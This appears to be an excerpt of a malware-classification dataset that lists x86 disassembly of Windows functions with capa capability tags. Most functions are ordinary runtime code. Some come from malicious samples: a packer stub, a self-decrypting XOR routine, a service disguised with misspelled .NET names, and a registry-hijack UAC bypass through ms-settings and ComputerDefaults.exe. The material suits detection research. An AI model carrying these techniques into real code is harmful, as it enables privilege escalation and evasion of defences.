joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411850
Capabilities:
Create http request

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push esi
mov esi, ecx
and dword [esi + 0x10], 0
and dword [esi + 0xc], 0
mov dword [esi + 4], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CInternetSession.0
test eax, eax
jne 0x41187b
call fcn.00414e57
mov eax, dword [eax + 0x10]
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call dword [sym.imp.WININET.dll_InternetOpenW]
mov dword [esi + 8], eax
test eax, eax
jne 0x41189e
push eax
push dword [esi + 4]
call fcn.004117d6
push esi
push eax
mov ecx, 0x45e1fc
call fcn.0041145d
mov eax, esi
pop esi
pop ebp
ret 0x18

Function at 0x4122b4
Capabilities:
Connect to http server

Disassembly:
push 4
mov eax, 0x4451c6
call fcn.004313f2
mov esi, ecx
mov dword [ebp - 0x10], esi
push dword [ebp + 0x20]
mov edi, dword [ebp + 8]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call fcn.00412274
and dword [ebp - 4], 0
lea ecx, [esi + 0x18]
mov dword [esi], vtable.CHttpConnection.0
call fcn.00401850
push dword [esi + 8]
mov edi, dword [edi + 8]
push dword [ebp + 0x10]
mov byte [ebp - 4], 1
push 3
push dword [ebp + 0x1c]
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0xc]
push edi
call dword [sym.imp.WININET.dll_InternetConnectW]
mov dword [esi + 4], eax
test eax, eax
jne 0x41231b
push eax
push dword [esi + 8]
call fcn.004117d6
push dword [esi + 0xc]
mov ecx, 0x45e1fc
push eax
call fcn.0041145d
mov eax, esi
call fcn.004314ca
ret 0x1c

Function at 0x413984
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
xor ebx, ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 4], ebx
cmp dword [ebp + 0xc], ebx
je 0x4139cc
call fcn.00414e57
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x4139cc
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 4], eax
test eax, eax
je 0x413a0f
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
mov esi, dword [ebp + 8]
mov dword [ebp + 0xc], 1
test ebx, ebx
je 0x4139f8
push dword [ebp + 0x10]
mov eax, dword [edi]
push ebx
push esi
mov ecx, edi
call dword [eax + 0x20]
cmp dword [ebp - 4], 0
mov dword [ebp + 0xc], eax
je 0x4139f8
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_FreeResource]
cmp dword [esi + 0x4c], 0
je 0x413a0c
mov ecx, dword [esi + 0x4c]
push dword [ebp + 0x10]
mov eax, dword [ecx]
call dword [eax + 0xa0]
mov eax, dword [ebp + 0xc]
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x41b88d
Capabilities:
Get graphical window text

Disassembly:
push 4
mov eax, 0x445440
call fcn.004313f2
mov esi, ecx
cmp dword [esi + 0x50], 0
jne 0x41b8b2
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [esi + 0x20]
call dword [sym.imp.USER32.dll_GetWindowTextW]
jmp 0x41b8f8
lea ecx, [ebp - 0x10]
call fcn.00401850
mov ecx, dword [esi + 0x50]
mov eax, dword [ecx]
and dword [ebp - 4], 0
lea edx, [ebp - 0x10]
push edx
call dword [eax + 0x8c]
push 0xffffffffffffffff
push dword [ebp - 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00410a09
add esp, 0x10
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x10]
add ecx, 0xfffffff0
mov esi, eax
call fcn.00401960
mov eax, esi
call fcn.004314ca
ret 8
Function at 0x42a618
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov dword [ebp - 4], ecx
cmp dword [ebp + 8], ebx
je 0x42a65f
call fcn.00414e57
mov esi, dword [eax + 0xc]
push 0xf0
push dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
test eax, eax
je 0x42a65f
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebx, eax
test ebx, ebx
je 0x42a67b
push ebx
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
mov ecx, dword [ebp - 4]
push edi
call fcn.0042a190
mov esi, eax
test edi, edi
je 0x42a679
test ebx, ebx
je 0x42a679
push ebx
call dword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x42d911
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, ecx
mov dword [edi + 0x58], ebx
test ebx, 0xffff0000
jne 0x42d935
cmp dword [edi + 0x54], 0
jne 0x42d935
movzx eax, bx
mov dword [edi + 0x54], eax
call fcn.00414e57
mov esi, dword [eax + 0xc]
push 5
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push dword [ebp + 0xc]
mov ebx, eax
push ebx
mov ecx, edi
call fcn.0042d8d2
push ebx
mov esi, eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
pop edi
mov eax, esi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x42ece6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x45c970]
jne 0x42ecf0
repz ret
jmp fcn.004362b3
Function at 0x43fa24
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00435cc2
and dword [ebp - 4], 0
cmp dword [0x460ca0], 0
mov ebx, eax
jne 0x43fad5
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x43fb86
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x43fb86
push eax
call fcn.00435c50
mov dword [esp], 0x44ca00
push edi
mov dword [0x460ca0], eax
call esi
push eax
call fcn.00435c50
mov dword [esp], 0x44c9ec
push edi
mov dword [0x460ca4], eax
call esi
push eax
call fcn.00435c50
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x460ca8], eax
call esi
push eax
call fcn.00435c50
pop ecx
mov dword [0x460cb0], eax
test eax, eax
je 0x43fad5
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00435c50
pop ecx
mov dword [0x460cac], eax
mov eax, dword [0x460cac]
cmp eax, ebx
je 0x43fb2d
cmp dword [0x460cb0], ebx
je 0x43fb2d
push eax
call fcn.00435ccb
push dword [0x460cb0]
mov esi, eax
call fcn.00435ccb
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x43fb2d
test edi, edi
je 0x43fb2d
call esi
test eax, eax
je 0x43fb24
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x43fb24
test byte [ebp - 0xc], 1
jne 0x43fb2d
or dword [ebp + 0x10], 0x200000
jmp 0x43fb66
mov eax, dword [0x460ca4]
cmp eax, ebx
je 0x43fb66
push eax
call fcn.00435ccb
pop ecx
test eax, eax
je 0x43fb66
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x43fb66
mov eax, dword [0x460ca8]
cmp eax, ebx
je 0x43fb66
push eax
call fcn.00435ccb
pop ecx
test eax, eax
je 0x43fb66
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x460ca0]
call fcn.00435ccb
pop ecx
test eax, eax
je 0x43fb86
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x43fb88
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x8e9590
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x5c100d
lea edi, [esi - 0x1c000d]
push edi
or ebp, 0xffffffff
jmp 0x8e95b2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x8e95b9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x8e95a8
mov eax, 1
add ebx, ebx
jne 0x8e95cb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x8e95c0
jne 0x8e95dc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8e95c0
xor ecx, ecx
sub eax, 3
jb 0x8e95f0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x8e9662
mov ebp, eax
add ebx, ebx
jne 0x8e95fb
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x8e9608
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x8e962c
inc ecx
add ebx, ebx
jne 0x8e9618
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x8e960d
jne 0x8e9629
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x8e960d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x8e964c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x8e963d
jmp 0x8e95ae
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x8e964c
add edi, ecx
jmp 0x8e95ae
pop esi
mov edi, esi
mov ecx, 0x1699
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x8e966a
cmp byte [edi], 0x11
jne 0x8e966a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x8e966f
lea edi, [esi + 0x4e5000]
mov eax, dword [edi]
or eax, eax
je 0x8e96de
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x4ec024]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4ec07c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x8e969c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x4ec084]
or eax, eax
je 0x8e96d8
mov dword [ebx], eax
add ebx, 4
jmp 0x8e96b9
call dword [esi + 0x4ec080]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x8e970f
cmp al, 0xef
ja 0x8e9702
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x8e96e4
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x8e96f1
mov ebp, dword [esi + 0x4ec088]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x197]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x8e9743
sub esp, 0xffffff80
jmp 0x40cede
Function at 0x4039cf
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
push esi
push edi
push str.StartServiceCtrlDispatcherA
push str.ADVAPI32.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov esi, str.Serpiei
mov edi, eax
push esi
call fcn.00403061
test eax, eax
pop ecx
je 0x403a23
and dword [ebp - 8], 0
and dword [ebp - 4], 0
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
push eax
mov dword [ebp - 0xc], 0x403756
call edi
pop edi
xor eax, eax
pop esi
leave
ret 0x10
and byte [ebp - 0x114], 0
push 0x40
pop ecx
xor eax, eax
lea edi, [ebp - 0x113]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [ebp - 0x114]
push eax
call fcn.00402ca7
lea eax, [ebp - 0x114]
push 1
push eax
push str.Microsoft_.NET_COM_Integration_with_SOAP
push str.Microsoft_.Net_Frameworek_COMi_Suppoot
push esi
call fcn.004031c0
add esp, 0x18
call fcn.00402217
push 0
call dword [sym.imp.KERNEL32.DLL_ExitProcess]

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x100049d0
Capabilities:
Create process on windows
Delete registry key
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1002ae80
mov eax, dword fs:[0]
push eax
sub esp, 0x110
mov eax, dword [0x100b0040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.10003550
call fcn.10004690
call fcn.10002f00
push 0x104
lea eax, [ebp - 0x114]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x118]
push eax
push str.SoftwareClasses.pwnShellOpencommand
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
lea eax, [ebp - 0x114]
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x10004a40
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
sub eax, edx
push eax
lea eax, [ebp - 0x114]
push eax
push 1
push 0
push 0x10033e0d
push dword [ebp - 0x118]
call esi
push 1
push 0x10033e0d
push 1
push 0
push str.DelegateExecute
push dword [ebp - 0x118]
call esi
lea eax, [ebp - 0x11c]
push eax
push str.SoftwareClassesms_settingsCurVer
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
push 4
push str..pwn
push 1
push 0
push 0x10033e0d
push dword [ebp - 0x11c]
call esi
push 5
push 0
push 0
push str.C:WindowsSystem32ComputerDefaults.exe
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteTreeA]
push str.SoftwareClassesms_settings
push SysReAllocString
call esi
push str.SoftwareClasses.pwn
push SysReAllocString
call esi
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.100088f8
mov esp, ebp
pop ebp
ret
Function at 0x1000bd80
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 0xc]
test eax, eax
jg 0x1000bda1
jl 0x1000bd98
test edi, edi
jne 0x1000bda1
xor eax, eax
xor edx, edx
jmp 0x1000be62
cmp dword [ebx + 0x38], 0
je 0x1000bdb6
push eax
push edi
push dword [ebp + 8]
call fcn.1000be68
jmp 0x1000be62
mov eax, dword [ebx + 0x1c]
push esi
mov esi, edi
mov ecx, dword [eax]
test ecx, ecx
je 0x1000bdfd
mov eax, dword [ebx + 0x2c]
mov eax, dword [eax]
mov dword [ebp - 4], eax
test eax, eax
je 0x1000bdfd
cmp eax, edi
jb 0x1000bdd7
mov eax, edi
mov dword [ebp - 4], edi
push eax
push ecx
push dword [ebp + 8]
call fcn.1000d830
mov ecx, dword [ebp - 4]
add esp, 0xc
mov eax, dword [ebp + 8]
sub esi, ecx
add eax, ecx
mov dword [ebp - 4], eax
mov eax, dword [ebx + 0x2c]
sub dword [eax], ecx
mov eax, dword [ebx + 0x1c]
add dword [eax], ecx
jmp 0x1000be03
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebx + 0x4c], 0
je 0x1000be57
mov ecx, ebx
call fcn.1000b691
mov ecx, dword [ebp - 4]
mov edx, esi
mov eax, 0xfff
cmp esi, eax
jbe 0x1000be42
push dword [ebx + 0x4c]
push eax
push 1
push ecx
call fcn.10018760
mov ecx, dword [ebp - 4]
sub esi, eax
add ecx, eax
add esp, 0x10
mov dword [ebp - 4], ecx
mov edx, esi
cmp eax, 0xfff
jne 0x1000be57
jmp 0x1000be15
test edx, edx
je 0x1000be57
push dword [ebx + 0x4c]
push esi
push 1
push ecx
call fcn.10018760
add esp, 0x10
sub esi, eax
mov edx, dword [ebp + 0x10]
sub edi, esi
mov eax, edi
sbb edx, 0
pop esi
pop edi
pop ebx
leave
ret 0xc

Function at 0x10015e34
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10015e73
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10015e73
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10015e73
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10015e73
cmp dword [ecx + 0x74], 0xe
jbe 0x10015e73
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x1001a646
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002fbd0
push 0x1002fbc8
push str.FlsAlloc
push 0x1f
call fcn.1001a50e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001a67a
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002c1f0]
call esi
jmp 0x1001a680
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x1001a6c4
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002fbe0
push 0x1002fbd8
push str.FlsGetValue
push 0x21
call fcn.1001a50e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001a6fb
push dword [ebp + 8]
mov ecx, esi
call dword [0x1002c1f0]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x1001a703
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x1002fbe8
push 0x1002fbe0
push str.FlsSetValue
push 0x22
call fcn.1001a50e
mov esi, eax
add esp, 0x10
test esi, esi
je 0x1001a73d
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x1002c1f0]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x1001f6ba
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x1001f757
push ebx
push esi
call fcn.1001f683
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.1001f617
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x1001f704
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001f756
push edi
push eax
call fcn.1001ac79
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x1001f724
call fcn.1001a22f
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x1001f755
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.1001f617
add esp, 0x20
test eax, eax
jne 0x1001f743
push edi
call fcn.1001a22f
jmp 0x1001f74b
push ebx
call fcn.1001a22f
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x10021c0c
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1002a730
mov eax, dword [0x100b0040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.1001bbea
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x10021c4e
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10021daa
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1002a5c0
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x100b1c48]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.10022031
mov ecx, dword [esi*4 + 0x100b1c48]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x10021da3
cmp eax, dword [ecx + edi + 0x24]
jne 0x10021da3
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10021da3
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10022031
add esp, 0x14
test edx, edx
jl 0x10021da3
jg 0x10021d19
test eax, eax
jb 0x10021da3
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x10021da3
jl 0x10021d33
cmp dword [ebp - 0x1008], eax
ja 0x10021da3
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x10021d51
test ebx, ebx
je 0x10021d8a
cmp ecx, edi
jae 0x10021d8a
mov al, byte [ecx]
cmp al, 0xd
jne 0x10021d6b
lea eax, [edi - 1]
cmp ecx, eax
jae 0x10021d77
cmp byte [ecx + 1], 0xa
jne 0x10021d77
inc ecx
jmp 0x10021d77
movzx eax, al
movsx eax, byte [eax + 0x100b0828]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x10021d51
cmp edx, ebx
jne 0x10021d51
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x10021da8
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.100088f8
leave
ret
Function at 0x100220ad
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x100b1c48]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x100220ed
cmp byte [ebx], 0xa
jne 0x100220ed
or byte [edi + eax + 0x28], 4
jmp 0x100220f2
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x100221f1
mov dl, byte [eax]
cmp dl, 0x1a
je 0x100221d4
inc eax
cmp dl, 0xd
je 0x1002211e
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10022144
cmp eax, ecx
jae 0x10022152
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x10022106
jmp 0x100221f1
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100221cf
cmp dword [ebp - 0x10], 0
je 0x100221cf
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x100b1c48]
test byte [eax + edi + 0x28], 0x48
je 0x100221a9
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x10022194
mov byte [esi], dl
jmp 0x100221a5
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x100b1c48]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x100221f1
cmp byte [ebp - 1], 0xa
jne 0x100221b8
cmp esi, ebx
jne 0x100221b8
mov byte [esi], 0xa
jmp 0x100221f0
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.1002204f
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x100221f1
mov byte [esi], 0xd
jmp 0x100221f0
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x100b1c48]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x100221ee
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x100221f1
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret